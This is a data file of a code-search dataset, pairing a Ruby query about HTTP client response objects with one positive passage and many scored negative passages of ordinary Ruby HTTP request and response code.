query_id
stringlengths
32
32
query
stringlengths
7
6.75k
positive_passages
listlengths
1
1
negative_passages
listlengths
88
101
5b76ee25bb4dbf10c029ce1bac062948
returns an httpclient response object (HTTP::Message) responds to content, status, reason, and contenttype.
[ { "docid": "c904673300b8bbbb860402eaf71d935e", "score": "0.0", "text": "def raw_post(url, data = nil, headers = {})\n @log.debug \"Performing POST on url #{url}\"\n @log.debug \"DATA: #{data}\"\n response = @raw_http_client.post(url, data, @extra_headers.merge(headers))\n return response\n end", "title": "" } ]
[ { "docid": "aee4dc3670590339af79a5039bdf40ff", "score": "0.7201098", "text": "def response_from_http\n RedboothRuby::Request::Response.new(headers: raw_response.to_hash,\n body: raw_response.body,\n status: raw_response.code.to_i)\n end", "title": "" }, { "docid": "ff689b1353679b822af80836fbd0157c", "score": "0.6910207", "text": "def response\n [status, headers, [body]]\n end", "title": "" }, { "docid": "4f263bca6e50c64fff7a995fc74ef182", "score": "0.68110466", "text": "def create_response(code = 200, message = \"OK\", proto = Rex::Proto::Http::DefaultProtocol)\n res = Rex::Proto::Http::Response.new(code, message, proto)\n end", "title": "" }, { "docid": "59faf2e8670de993395fd560ce4bd8e3", "score": "0.67761517", "text": "def build_response(status, message, content)\n length = content.length\n response = \"HTTP/1.0 #{status} #{message}\\r\\n\"\\\n \"#{Time.new.asctime}\\r\\n\"\\\n \"Content-Type: text/html\\r\\n\"\\\n \"Content-Length: #{length}\\r\\n\\r\\n\"\n response + content\nend", "title": "" }, { "docid": "30a8bad6eab1a33d2a987507ac0a2e04", "score": "0.67698216", "text": "def response_from_rest_client\n RedboothRuby::Request::Response.new(headers: raw_response.headers,\n body: raw_response.body,\n status: raw_response.status.to_i)\n end", "title": "" }, { "docid": "eec7f152662daa6cbcb5c9deeaa2519e", "score": "0.6767561", "text": "def create_response(code = 200, message = \"OK\", proto = Rex::Proto::Http::DefaultProtocol)\n res = Rex::Proto::Http::Response.new(code, message, proto);\n res['Content-Type'] = 'text/html'\n res\n end", "title": "" }, { "docid": "c60eeb7382eba868e09a5a97bb17d077", "score": "0.6690586", "text": "def create_response(code = 200, message = \"OK\", proto = Rex::Proto::Http::DefaultProtocol)\n\t\tres = Rex::Proto::Http::Response.new(code, message, proto);\n\t\tres['Content-Type'] = 'text/html'\n\t\tres\n\tend", "title": "" }, { "docid": "c60eeb7382eba868e09a5a97bb17d077", "score": "0.6690586", "text": "def create_response(code = 200, message = \"OK\", proto = Rex::Proto::Http::DefaultProtocol)\n\t\tres = Rex::Proto::Http::Response.new(code, message, proto);\n\t\tres['Content-Type'] = 'text/html'\n\t\tres\n\tend", "title": "" }, { "docid": "6f7cefd4fc858bea18657e3d8a0ea780", "score": "0.6689567", "text": "def _receive_result httpclient_response_message\n # ???\n end", "title": "" }, { "docid": "3d845ff37aed4842cb9c9498e2903ad4", "score": "0.66742593", "text": "def http_resp(status_code, status_message=nil, header=nil, body=nil) # :doc:\n status_message ||= StatusCodeMapping[status_code]\n\n str = \"\"\n str << \"#{HTTP_PROTO} #{status_code} #{status_message}\" << CRLF\n http_header(header).writeTo(str)\n str << CRLF\n str << body unless body.nil?\n str\n end", "title": "" }, { "docid": "f039c0f7a2be5a7e142331673d80b3d9", "score": "0.66326934", "text": "def raw_response\n Midori::Response.new(@status, @header, @body)\n end", "title": "" }, { "docid": "ed3814ff246dfdbe980dc8aa78429ef3", "score": "0.661592", "text": "def respond(resp)\n\t\t\t\tcase resp\n\t when Net::HTTPOK\n\t BOTR::OKResponse.new(resp.body)\n\t when Net::HTTPBadRequest\n\t BOTR::BadRequestResponse.new(resp.body)\n\t when Net::HTTPUnauthorized\n\t BOTR::UnauthorizedResponse.new(resp.body)\n\t when Net::HTTPForbidden\n\t BOTR::ForbiddenResponse.new(resp.body)\n\t when Net::HTTPNotFound\n\t BOTR::NotFoundResponse.new(resp.body)\n\t when Net::HTTPMethodNotAllowed\n\t BOTR::NotAllowedResponse.new(resp.body)\n\t else\n\t BOTR::HTTPResponse.new(resp.code, resp.body)\n\t end\n\t\t\tend", "title": "" }, { "docid": "f6032ff6a4a52e0256221003c1636d67", "score": "0.6541563", "text": "def response\n @response ||= send_http_request\n rescue *server_errors => e\n @response ||= e\n end", "title": "" }, { "docid": "138793ea029eb6aa7af77f322027bdd8", "score": "0.6534366", "text": "def build_response(content, status: '200')\n [status, { 'Content-Type' => 'text/html; charset=utf-8' }, content]\n end", "title": "" }, { "docid": "803e2a9f46f06eff19a4c32f700c5bf6", "score": "0.64650124", "text": "def to_ruby_response(response)\n str_code = response.code.to_s\n\n # Copied from Net::HTTPResponse because it is private there.\n clazz = Net::HTTPResponse::CODE_TO_OBJ[str_code] or\n Net::HTTPResponse::CODE_CLASS_TO_OBJ[str_code[0,1]] or\n Net::HTTPUnknownResponse\n result = clazz.new(nil, str_code, nil)\n result.body = response.body\n # This is nasty, nasty. But apparently there is no way to create\n # an instance of Net::HttpResponse from outside of the library and have\n # the body be readable, unless you do stupid things like this.\n result.instance_variable_set(:@read, true)\n response.each_header do |k,v|\n result[k] = v\n end\n result\n end", "title": "" }, { "docid": "94f9d1e247a5e0ae0331ad5d3d8d482d", "score": "0.6457556", "text": "def make_net_http_response(response)\n status, headers, body = response.status, response.headers, response.body\n\n response_string = []\n response_string << \"HTTP/1.1 #{status} #{Rack::Utils::HTTP_STATUS_CODES[status]}\"\n\n headers.each do |header, value|\n response_string << \"#{header}: #{value}\"\n end\n\n response_string << \"\" << body\n\n response_io = ::Net::BufferedIO.new(StringIO.new(response_string.join(\"\\n\")))\n res = ::Net::HTTPResponse.read_new(response_io)\n\n res.reading_body(response_io, true) do\n yield res if block_given?\n end\n\n res\n end", "title": "" }, { "docid": "51af5f8ae1ac2373ed40324d9c7c5d6c", "score": "0.644713", "text": "def generate_response res_parts\n\tversion = \"HTTP/1.1\"\n\tresponse = version + \" #{ res_parts[:code] } \" + res_parts[:reason] + \"\\r\\n\"\n\tres_parts[:headers].each do |header_name, value|\n\t\tresponse += header_name.to_s + \": \" + value.to_s + \"\\r\\n\"\n\tend\n\tresponse += \"\\r\\n\" + res_parts[:body]\nend", "title": "" }, { "docid": "f7038c58620a6609cd5ab79827358dda", "score": "0.6405402", "text": "def message\n http_response.message\n end", "title": "" }, { "docid": "f7038c58620a6609cd5ab79827358dda", "score": "0.6405402", "text": "def message\n http_response.message\n end", "title": "" }, { "docid": "ce323507e2d8f55913c4ead1b2b2e918", "score": "0.6361645", "text": "def response(content)\n [200, { 'Content-Type' => 'text/html' }, Array(content)]\n end", "title": "" }, { "docid": "92708d5e58ff654014c08f97c9b018e3", "score": "0.63541555", "text": "def response_from_raw\n case raw_response\n when Net::HTTPResponse\n response_from_http\n else\n response_from_rest_client\n end\n end", "title": "" }, { "docid": "230236c525624c0cb56850ef51354488", "score": "0.6334699", "text": "def convert_response(response, http_request)\r\n HttpResponse.new(response.status, response.reason_phrase,\r\n response.headers, response.body, http_request)\r\n end", "title": "" }, { "docid": "6810f2f7699aa134020d1c55d415a485", "score": "0.6326233", "text": "def response\n @response ||= ResponseShim.new(message)\n end", "title": "" }, { "docid": "cd0da2f9e45ff7bb13992451c5fdd9ef", "score": "0.631642", "text": "def http_response\n options = TYPHOEUS_OPTIONS.merge(:followlocation => false)\n @http_response ||= Typhoeus.head(uri(:scheme => \"http\"), options)\n end", "title": "" }, { "docid": "9f87674e65eafe9dae3816fac99ad7e7", "score": "0.6309377", "text": "def read_response(response)\n headers,body = response.split(\"\\r\\n\\r\\n\", 2)\n http,status,message = headers.split(\" \", 3)\n case status\n when '200'\n return body\n else\n return \"#{status} - #{message}\"\n end\nend", "title": "" }, { "docid": "fc39005bafa82634d8c139afa80cee77", "score": "0.6294253", "text": "def create_response code, reason, contents\n\tsize = contents.size\n\tgenerate_response({ code: code, reason: reason,\n\t headers: { \"Content-Type\" => \"text/html\",\n\t \"Content-Length\" => size },\n\t body: contents })\nend", "title": "" }, { "docid": "536c7d9addf81c218ecee53d648c3a91", "score": "0.6289704", "text": "def message\n @http_response.message\n end", "title": "" }, { "docid": "9e7d202e6b1f7b6216dc3fc2124354f9", "score": "0.62804496", "text": "def result\n [status, headers, content]\n end", "title": "" }, { "docid": "5b92d87e96cefe79b0e94ccedd65c9d8", "score": "0.6266093", "text": "def response\n\t\tunless @response\n\t\t\ttrace \"Sending a %s to the server...\" % [ self.verb ]\n\t\t\tself.request = self.send( \"make_%s_request\" % [self.verb.to_s] )\n\n\t\t\thttp = Net::HTTP.new( self.host, self.port )\n\t\t\thttp.set_debug_output( @debug_output )\n\t\t\thttp.start do |http|\n\t\t\t\ttrace \" connected; sending request...\"\n\t\t\t\t@response = http.request( self.request, self.body )\n\t\t\t\ttrace \" got response: %p\" % [ @response ]\n\t\t\tend\n\t\tend\n\n\t\treturn @response\n\tend", "title": "" }, { "docid": "c307034c922664e4223b48e876934696", "score": "0.62132764", "text": "def generate_http_response(code, body='body', headers={}, raw=nil)\n RightScale::CloudApi::HTTPResponse.new(code.to_s, body, headers, raw)\nend", "title": "" }, { "docid": "b301194feb660ac4561cecfb64ea84a3", "score": "0.6186483", "text": "def make_base_response\n {\n status: 200,\n message: '',\n data: []\n }\n end", "title": "" }, { "docid": "7ea6cec0c53d3fce09e8dd6b29b4432e", "score": "0.61848235", "text": "def make_base_response\n {\n status: 200,\n message: '',\n data: []\n }\n end", "title": "" }, { "docid": "d28aa73d01094ca17f59c430e60ddf1f", "score": "0.6181505", "text": "def _response(status, body=nil, headers={})\n body = [body].compact\n headers = headers.merge(\"Content-Type\" => \"application/json\")\n Rack::Response.new(body, status, headers).finish\n end", "title": "" }, { "docid": "7420525236a4733e245e2f33d4215ead", "score": "0.61783004", "text": "def response_class\n Response\n end", "title": "" }, { "docid": "c44d1854584ef0d5bae616395784d902", "score": "0.6175644", "text": "def response\n response_body = body\n response_status = status\n lambda do\n status response_status\n json response_body\n end\n end", "title": "" }, { "docid": "961d459f8571a6e2e45c5cdd95c2acbd", "score": "0.61692333", "text": "def response_return(response, message)\n response_hash = {error: false, error_text: ''}\n if response[:error]\n response_hash[:error] = true\n response_hash[:error_text] = response[:error_message]\n else\n content = required_content(message, response)\n if content[:is_error] || content[:error]\n response_hash[:error] = true\n response_hash[:error_text] = content[:error_message] || content[:status] || content[:error_text]\n else\n response_hash[:content] = content\n end\n end\n response_hash\n end", "title": "" }, { "docid": "bffee7ad1de1eb06dc10df3d19bb1b13", "score": "0.6167897", "text": "def response(env)\n env.trace :response_beg\n\n dest_url, dest_params = dest_url_and_params(env)\n dest_params[:head]['Host'] = dest_url.host\n\n req = EM::HttpRequest.new(dest_url.to_s)\n resp =\n case(env[Goliath::Request::REQUEST_METHOD])\n when 'GET' then req.get(dest_params)\n when 'POST' then req.post(dest_params.merge(:body => (env[Goliath::Request::RACK_INPUT].read || '')))\n when 'HEAD' then req.head(dest_params)\n else raise Goliath::Validation::BadRequestError.new(\"Uncool method #{env[Goliath::Request::REQUEST_METHOD]}\")\n end\n\n env.trace :response_end\n [resp.response_header.status, response_header_hash(resp), resp.response]\n end", "title": "" }, { "docid": "55a7d066e530beb6eb292aef8d8ae8fb", "score": "0.615008", "text": "def http_status\n @response.status\n end", "title": "" }, { "docid": "d560c13c66225b1a8f69108df572aae8", "score": "0.61095816", "text": "def response\n [@status, @env, html_message]\n end", "title": "" }, { "docid": "0d1e66fdad869f55cc2fec9f1a573e4a", "score": "0.6103527", "text": "def new_response(body, req = nil)\n m = new\n m.http_header.init_response(Status::OK, req)\n m.http_body = Body.new\n m.http_body.init_response(body)\n m.http_header.body_size = m.http_body.size || 0\n m\n end", "title": "" }, { "docid": "fe7fec3f0cfb3b54d2c45f8feb6dbbe6", "score": "0.6089596", "text": "def response\n\t\treturn @response ||= self.class.response_class.from_request( self )\n\tend", "title": "" }, { "docid": "24630eddea7e3a451e2dba564cb67795", "score": "0.6085555", "text": "def rack_response\n [status, headers, Merb::Rack::StreamWrapper.new(body)]\n end", "title": "" }, { "docid": "78719255e993a36e43ccccd8e190ee3f", "score": "0.6061361", "text": "def response\n request['RESPONSE']\n end", "title": "" }, { "docid": "ad227a7e1696da13f4b8d2692b6cd74b", "score": "0.605437", "text": "def response(href, status)\n r = Ox::Element.new(D_RESPONSE)\n r << ox_element(D_HREF, href)\n r << self.status(status)\n r\n end", "title": "" }, { "docid": "80cc2cc0d33c363b626de18832850815", "score": "0.6051794", "text": "def http_answer(body, mime_type)\n [200, {\n 'Cache-Control' => 'max-age=0', # turns off browser cache (hopefully)\n \"Content-Type\" => mime_type,\n \"Content-Length\" => body.size.to_s\n }, body]\n end", "title": "" }, { "docid": "0b6b1d2ce5db7e1296f8300d1cf2e8c9", "score": "0.6038487", "text": "def create_response(with_webrick_config)\n HTTPResponse.new(with_webrick_config)\n end", "title": "" }, { "docid": "37979dcb843fc09b5e32302d8f06fd9f", "score": "0.6031034", "text": "def parse_response_for(response)\n case response\n when Net::HTTPOK, Net::HTTPCreated then return Response::Success.new(response)\n when Net::HTTPForbidden then raise Response::InvalidCredentials\n when Net::HTTPInternalServerError then raise Response::ServerError\n else raise Response::UnknownError\n end\n end", "title": "" }, { "docid": "54eeeb35a14b39cedb32ddc076d59263", "score": "0.60304165", "text": "def get_bot_response(http_response)\n case http_response.code\n when \"303\"\n \"Ok\"\n when \"401\"\n \"I am unauthorized\"\n when \"200\"\n \"I am unable to find that device\"\n when \"404\"\n \"I am unable to find the automation system\"\n else\n \"I received an unknown response from the automation system\"\n end\n end", "title": "" }, { "docid": "f7cfb93f2a5f500167c703f7eaceb399", "score": "0.60302", "text": "def response_shim(body, status)\n resp, err_msg = parsed_response(body)\n\n status = 400 if status == 200 && !err_msg.empty?\n\n { response: resp,\n status: { result: status == 200 ? 'OK' : 'ERROR',\n message: err_msg,\n code: status } }.to_json\n end", "title": "" }, { "docid": "0ffa159a0d4f357968bd588f021efc03", "score": "0.6026772", "text": "def error_response(status_code, message)\n status = status_code\n headers = Hash.new\n headers['Content-Type'] = 'text/plain'\n body = message\n return [status, headers, body]\n end", "title": "" }, { "docid": "e28df636a3d58ff5175aab4775266ac9", "score": "0.60223985", "text": "def send_response(code, message = nil)\n prepare_header\n\n case # prettify it for my granny eyes!\n when code >= 500 # server error\n code = code.to_s.on_red\n when code >= 400 # client error\n code = code.to_s.red\n when code >= 300 # redirect\n code = code.to_s.yellow\n when code >= 200 # successful operation\n code = code.to_s.green\n when code >= 100 # informational\n code = code.to_s.cyan\n end\n\n message = MESSAGE[code.uncolorize.to_i] if message == nil\n\n Log.info \"[#{@id}] << #{code} #{message} \\\"#{get_header(\"Content-Type\")}\\\"\"\n\n head = Array.new\n @response_header.each { |line|\n head.insert(0, \"#{line[0]}: #{line[1]}\")\n }\n\n # Send the Response-Status as required\n @client.print \"HTTP/1.1 #{code.uncolorize}\\r\\n\"\n\n # Send other Header-Response Informations\n head.join(\"\\r\\n\").each_char { |char|\n @client.print char\n }\n\n # Send missing CLR from last Header-line and\n # one empty line as required by the protocol\n @client.print \"\\r\\n\" * 2\n\n # print the actual Response-Body\n @response.each_char { |char|\n @client.print char\n }\n\n # close connection and Terminate\n close\n end", "title": "" }, { "docid": "92c5e5fe863ee69db7596c5944cc4fb9", "score": "0.6017041", "text": "def response\n @response ||= Net::HTTP.start(uri.host, 443, use_ssl: true) do |http|\n http.request create_http_request\n end\n rescue *ConnectionError.errors => e\n raise ConnectionError, e.message\n end", "title": "" }, { "docid": "f321f372ac28a915f486f7986fbe7f22", "score": "0.5999348", "text": "def resp(body, code=200, more_headers = {})\n\t\t[code, {\"content-type\" => \"text/plain\"}.merge(more_headers), body]\n\tend", "title": "" }, { "docid": "02483f262b267c9b58d925c492f38800", "score": "0.5993576", "text": "def check_and_return_http_response(response)\n return {http_error: response.code} if response.code != 200\n JSON.parse(response.body)\n end", "title": "" }, { "docid": "831bba94d30e2fc354dc371a2d27c25f", "score": "0.59912515", "text": "def message\n @response.status_message\n end", "title": "" }, { "docid": "2b888e63ec8ac1e3bd1443a809236d21", "score": "0.5976028", "text": "def response\n @content.first\n end", "title": "" }, { "docid": "42832bb98084e87817f9af27b48252ce", "score": "0.59755653", "text": "def response_shim(resp, status)\n { response: parse_response(resp),\n status: { result: status == 200 ? 'OK' : 'ERROR',\n message: extract_api_message(status, resp),\n code: status } }.to_json\n end", "title": "" }, { "docid": "eb593ca35862303c7d0510c709b4bb79", "score": "0.5974247", "text": "def response_status\n @response[:status]\n end", "title": "" }, { "docid": "33c54050706988669cc85a45677692bc", "score": "0.5973617", "text": "def return_response\n begin\n @session.puts \"HTTP/1.1 #{@response.status} #{STATUS_CODES[@response.status]}\"\n @session.puts @response.headers.map { |k,v| \"#{k}: #{v}\" }\n @session.puts \"\"\n\n @response.body.each do |line|\n @session.puts line\n end\n rescue Exception => exception\n log \"An error occured returning the response to the client\"\n end\n end", "title": "" }, { "docid": "8f643dabd055432b36508db24e70194b", "score": "0.5972509", "text": "def response\n RestClient::Request.execute(\n method: method,\n url: url,\n timeout: timeout,\n headers: headers,\n payload: body.to_json\n )\n end", "title": "" }, { "docid": "ab18dec3ab4476d1187ddaf9f0be62a7", "score": "0.59721625", "text": "def get_response(path)\n http = create_http\n request = create_request(path)\n response = http.request(request)\n\n return response\nend", "title": "" }, { "docid": "ab18dec3ab4476d1187ddaf9f0be62a7", "score": "0.59721625", "text": "def get_response(path)\n http = create_http\n request = create_request(path)\n response = http.request(request)\n\n return response\nend", "title": "" }, { "docid": "ab18dec3ab4476d1187ddaf9f0be62a7", "score": "0.59721625", "text": "def get_response(path)\n http = create_http\n request = create_request(path)\n response = http.request(request)\n\n return response\nend", "title": "" }, { "docid": "ab18dec3ab4476d1187ddaf9f0be62a7", "score": "0.59721625", "text": "def get_response(path)\n http = create_http\n request = create_request(path)\n response = http.request(request)\n\n return response\nend", "title": "" }, { "docid": "8cb4aa99e82612dd4283e69a5e9adbd2", "score": "0.59619945", "text": "def ruby_response_class(code)\n Net::HTTPResponse::CODE_TO_OBJ[code] or\n Net::HTTPResponse::CODE_CLASS_TO_OBJ[code[0,1]] or\n Net::HTTPUnknownResponse\n end", "title": "" }, { "docid": "0c2745429b74ba1ab61d64963d129207", "score": "0.5956793", "text": "def http_get_status\n response = <<END_OF_RESPONSE\n<tt>\n<p><b>state: #@state</b><br></p>\n\n<p>#{@options.collect { |k, v| \"<b>#{k}</b>: #{v}<br>\" }.sort.join(\"\\n\")}</p>\n\n<b>registration start:</b> #@registration_start<br>\n<b>registration end:</b> #@registration_end<br>\n<b>auction start:</b> #@auction_start<br>\n<b>last bid time:</b> #@last_bid_time<br>\n<b>server time:</b> #{Time.now}<br>\n<b>suppliers:</b><br>\n#{@suppliers.collect { |supplier| supplier.to_s + \"<br>\" }}\n\n<p><b>info:</b><br>#{get_info}</p>\nEND_OF_RESPONSE\n return { :status => 200, :reason => 'OK', :response => response }\n end", "title": "" }, { "docid": "42b6ead9b45cb95adad5c5a939c48413", "score": "0.595495", "text": "def standard_response(body = 'OK')\n {:status => 200, :body => body}\n end", "title": "" }, { "docid": "d17408b8ec8be19ecca9ee3d07f26556", "score": "0.5950857", "text": "def build(http_response)\n # Figure out which fault or representation to use.\n\n status = http_response.status[0]\n response_format = self.faults.detect do |f| \n f.dereference.status == status\n end\n\n unless response_format\n # Try to match the response to a response format using a media\n # type. \n response_media_type = http_response.content_type\n response_format = representations.detect do |f|\n t = f.dereference.mediaType\n t && response_media_type.index(t) == 0\n end \n\n # If an exact media type match fails, use the mime-types gem to\n # match the response to a response format using the underlying\n # subtype. This will match \"application/xml\" with \"text/xml\".\n if !response_format && MIME_TYPES_SUPPORTED\n mime_type = MIME::Types[response_media_type]\n raw_sub_type = mime_type[0].raw_sub_type if mime_type\n response_format = representations.detect do |f|\n t = f.dereference.mediaType\n if t\n response_mime_type = MIME::Types[t]\n response_raw_sub_type = response_mime_type[0].raw_sub_type if response_mime_type\n response_raw_sub_type == raw_sub_type\n end\n end\n end\n\n # If all else fails, try to find a response that specifies no\n # media type. TODO: check if this would be valid WADL.\n if !response_format \n response_format = representations.detect do |f| \n !f.dereference.mediaType\n end\n end\n end\n\n body = http_response.read\n if response_format && response_format.mediaType =~ /xml/\n begin\n body = REXML::Document.new(body)\n # Find the appropriate element of the document\n if response_format.element\n #TODO: don't strip the damn namespace. I'm not very good at\n #namespaces and I don't see how to deal with them here.\n element = response_format.element.gsub(/.*:/, '')\n body = REXML::XPath.first(body, \"//#{element}\")\n end\n rescue REXML::ParseException \n end\n body.extend(XMLRepresentation)\n body.representation_of(response_format)\n end\n\n clazz = response_format.is_a?(FaultFormat) ? response_format.subclass : Response\n obj = clazz.new(http_response.status, http_response, body, response_format)\n raise obj if obj.is_a? Exception\n return obj\n end", "title": "" }, { "docid": "0871745d7bb5d538f2bfe733103c44dc", "score": "0.59489965", "text": "def get_response(request)\n h = {version: request[:version]}\n path = request[:path].sub(/^\\//, '')\n\n if File.exist?(path)\n h[:status] = 200\n h[:status_message] = \"OK\"\n\n file = File.open(path, \"r\")\n body = file.read\n file.close\n h[\"Date\"] = File.mtime(path)\n h[\"Content-Length\"] = body.length\n h[:body] = body\n else\n h[:status] = 404\n h[:status_message] = \"Not Found\"\n end\n\n format_response(h)\n end", "title": "" }, { "docid": "e8d6aec9ac58960d975b40703e69389b", "score": "0.5935242", "text": "def response\n return @response\n end", "title": "" }, { "docid": "4eca7c6f51026ae02b5aee6987026ebe", "score": "0.5926341", "text": "def _response_shim(resp, status)\n { response: parse_response(resp),\n status: { result: status == 200 ? 'OK' : 'ERROR',\n message: extract_api_message(status, resp),\n code: status } }.to_json\n end", "title": "" }, { "docid": "5d4815d091643938265751f783ca177a", "score": "0.5920162", "text": "def resp_text; end", "title": "" }, { "docid": "5d4815d091643938265751f783ca177a", "score": "0.5920162", "text": "def resp_text; end", "title": "" }, { "docid": "a0cacfa8048b47189cf8dd40050485ff", "score": "0.5916728", "text": "def make_response(status, body)\n {\n statusCode: status,\n body: JSON.generate(body)\n }\nend", "title": "" }, { "docid": "a0cacfa8048b47189cf8dd40050485ff", "score": "0.5916728", "text": "def make_response(status, body)\n {\n statusCode: status,\n body: JSON.generate(body)\n }\nend", "title": "" }, { "docid": "941d3eb18ec3d1c0ad1725a3e86a12aa", "score": "0.5915013", "text": "def convert_response(response)\r\n return HttpResponse.new(response.code, response.headers.dup, response.raw_body.dup)\r\n end", "title": "" }, { "docid": "035252a24219ae534b00e9d020c24153", "score": "0.59050477", "text": "def convert_response(response)\n response.headers[\"Server\"] =\n Webmachine::SERVER_STRING + ' HTTPkit/' + ::HTTPkit::VERSION\n\n ::HTTPkit::Response.new(\n response.code.to_i,\n response.headers,\n convert_body(response.body))\n end", "title": "" }, { "docid": "d687ea51da9396c9317b3a7f6034a28b", "score": "0.5904861", "text": "def parse_response(response)\n if response.code == 201\n request = Restfulie.at(response.headers['location'])\n request.accepts(@acceptable_mediatypes) if @acceptable_mediatypes\n request.get!\n elsif @raw\n response\n elsif !response.body.empty?\n representation = RequestMarshaller.content_type_for(response.headers['content-type']) || Restfulie::Common::Representation::Generic.new\n representation.unmarshal(response.body).tap do |u|\n u.extend(ResponseHolder)\n u.response = response\n end\n else\n response.tap do |resp|\n resp.extend(ResponseHolder)\n resp.response = response\n end\n end\n end", "title": "" }, { "docid": "0f4fda3df5ad99236008cbfecffb2b98", "score": "0.5899028", "text": "def read_response(request, args = {})\n ::Http2::ResponseReader.new(http2: self, sock: @sock, args: args, request: request).response\n end", "title": "" }, { "docid": "d63400857cc9b6b0da16e0414bf1148a", "score": "0.58883744", "text": "def convert_response(response)\n if response.body.is_a?(String)\n raw_body = response.body\n elsif !response.body.nil?\n raw_body = JSON.generate(response.body)\n end\n\n HttpResponse.new(response.status, response.headers.dup, raw_body)\n end", "title": "" }, { "docid": "992a25cbe1b76f8b24f31deaddd14fad", "score": "0.58850956", "text": "def get_http_responses(snmp = nil)\n metrics = { }\n snmp = snmp_manager unless snmp\n\n if snmp\n res = gather_snmp_metrics_array([OID_SYS_HTTP_STAT_RESP_2XX_CNT, OID_SYS_HTTP_STAT_RESP_3XX_CNT, OID_SYS_HTTP_STAT_RESP_4XX_CNT,\n OID_SYS_HTTP_STAT_RESP_5XX_CNT, OID_SYS_HTTP_STAT_V9_RESP, OID_SYS_HTTP_STAT_V10_RESP,\n OID_SYS_HTTP_STAT_V11_RESP, OID_SYS_HTTP_STAT_RESP_BUCKET_1K, OID_SYS_HTTP_STAT_RESP_BUCKET_4K,\n OID_SYS_HTTP_STAT_RESP_BUCKET_16K, OID_SYS_HTTP_STAT_RESP_BUCKET_32K],\n snmp)\n\n # Bail out if we didn't get anything\n return metrics if res.empty?\n\n metrics[\"HTTP/Response Code/2xx\"] = res[0]\n metrics[\"HTTP/Response Code/3xx\"] = res[1]\n metrics[\"HTTP/Response Code/4xx\"] = res[2]\n metrics[\"HTTP/Response Code/5xx\"] = res[3]\n metrics[\"HTTP/Version/v0.9/Response\"] = res[4]\n metrics[\"HTTP/Version/v1.0/Response\"] = res[5]\n metrics[\"HTTP/Version/v1.1/Response\"] = res[6]\n metrics[\"HTTP/Response Size/1k Bucket\"] = res[7]\n metrics[\"HTTP/Response Size/4k Bucket\"] = res[8]\n metrics[\"HTTP/Response Size/16k Bucket\"] = res[9]\n metrics[\"HTTP/Response Size/32k Bucket\"] = res[10]\n end\n\n return metrics\n end", "title": "" }, { "docid": "6e39860a14c751f96021d20037e887cd", "score": "0.58778805", "text": "def response_status\n return @response_status\n end", "title": "" }, { "docid": "f4b20c13a5a1394b5482953dc4544a0a", "score": "0.5868547", "text": "def build_response\n valid? ? [status, headers, [response_body]] : @original_response\n end", "title": "" }, { "docid": "ea52dbfdb2422ea5c5a660e28a40c39d", "score": "0.5867627", "text": "def response\n @response ||= response_type.new\n end", "title": "" }, { "docid": "3914c04f955e87d5432b9d73b4ba7e12", "score": "0.5867031", "text": "def get_response_body\n uri = URI.parse(@url)\n reponse = Net::HTTP.get_response(uri)\n reponse.body\n end", "title": "" }, { "docid": "851dccb0f0de8146b6dfe0d2db64cf89", "score": "0.5864264", "text": "def resp target, type, content \n if type == 1\n target.end(content)\n elsif type == 2\n target.reply(content)\n end\nend", "title": "" }, { "docid": "59622b5fffae49b96fecb75905f1fcd1", "score": "0.5856596", "text": "def make_response(status, body)\n {\n statusCode: status,\n body: JSON.generate(body)\n }\nend", "title": "" }, { "docid": "ac567ddcf8d9dea2ea8d9ea6bce873fe", "score": "0.58529675", "text": "def http_response_json\n JSON.parse(http_response_body) if http_response_is_json?\n end", "title": "" }, { "docid": "11ad03aa96ce3b3d8f1686fb9bbaa75e", "score": "0.5850911", "text": "def read_response(t = -1)\n\n\t\tresp = Response.new\n\t\tresp.max_data = config['read_max_data']\n\n\t\t# Wait at most t seconds for the full response to be read in. We only\n\t\t# do this if t was specified as a negative value indicating an infinite\n\t\t# wait cycle. If t were specified as nil it would indicate that no\n\t\t# response parsing is required.\n\n\t\treturn resp if not t\n\n\t\tTimeout.timeout((t < 0) ? nil : t) do\n\n\t\t\trv = nil\n\t\t\twhile (\n\t\t\t rv != Packet::ParseCode::Completed and\n\t\t\t rv != Packet::ParseCode::Error\n\t\t )\n\t\t\t\tbegin\n\t\t\t\t\tbuff = conn.get_once(-1, 1)\n\t\t\t\t\trv = resp.parse( buff || '')\n\n\t\t\t\t# Handle unexpected disconnects\n\t\t\t\trescue ::Errno::EPIPE, ::EOFError, ::IOError\n\t\t\t\t\tcase resp.state\n\t\t\t\t\twhen Packet::ParseState::ProcessingHeader\n\t\t\t\t\t\tresp = nil\n\t\t\t\t\twhen Packet::ParseState::ProcessingBody\n\t\t\t\t\t\t# truncated request, good enough\n\t\t\t\t\t\tresp.error = :truncated\n\t\t\t\t\tend\n\t\t\t\t\tbreak\n\t\t\t\tend\n\n\t\t\t\t# This is a dirty hack for broken HTTP servers\n\t\t\t\tif rv == Packet::ParseCode::Completed\n\t\t\t\t\trbody = resp.body\n\t\t\t\t\trbufq = resp.bufq\n\n\t\t\t\t\trblob = rbody.to_s + rbufq.to_s\n\t\t\t\t\ttries = 0\n\t\t\t\t\tbegin\n\t\t\t\t\t\t# XXX This doesn't deal with chunked encoding or \"Content-type: text/html; charset=...\"\n\t\t\t\t\t\twhile tries < 1000 and resp.headers[\"Content-Type\"]== \"text/html\" and rblob !~ /<\\/html>/i\n\t\t\t\t\t\t\tbuff = conn.get_once(-1, 0.05)\n\t\t\t\t\t\t\tbreak if not buff\n\t\t\t\t\t\t\trblob += buff\n\t\t\t\t\t\t\ttries += 1\n\t\t\t\t\t\tend\n\t\t\t\t\trescue ::Errno::EPIPE, ::EOFError, ::IOError\n\t\t\t\t\tend\n\n\t\t\t\t\tresp.bufq = \"\"\n\t\t\t\t\tresp.body = rblob\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\tresp\n\tend", "title": "" }, { "docid": "b92df26c2d5d7effd0b3a0da6340f5fd", "score": "0.5850632", "text": "def parse_response(http_response)\n response = Nordea::Siirto::Response.new\n response.code = http_response.code\n response.body = JSON.parse(http_response.body)\n response.message = http_response.message\n end", "title": "" }, { "docid": "35df2b67591fbeb171be29854d9568e3", "score": "0.5849443", "text": "def response_code\n @status\n end", "title": "" }, { "docid": "35df2b67591fbeb171be29854d9568e3", "score": "0.5849443", "text": "def response_code\n @status\n end", "title": "" }, { "docid": "a70b87fb9875f92d059c195ac010f474", "score": "0.58452314", "text": "def http_response; end", "title": "" }, { "docid": "a70b87fb9875f92d059c195ac010f474", "score": "0.58452314", "text": "def http_response; end", "title": "" }, { "docid": "a70b87fb9875f92d059c195ac010f474", "score": "0.58452314", "text": "def http_response; end", "title": "" }, { "docid": "03faf6095bf20be936678ea364449a7c", "score": "0.58419853", "text": "def response\n @response ||= with_logging { 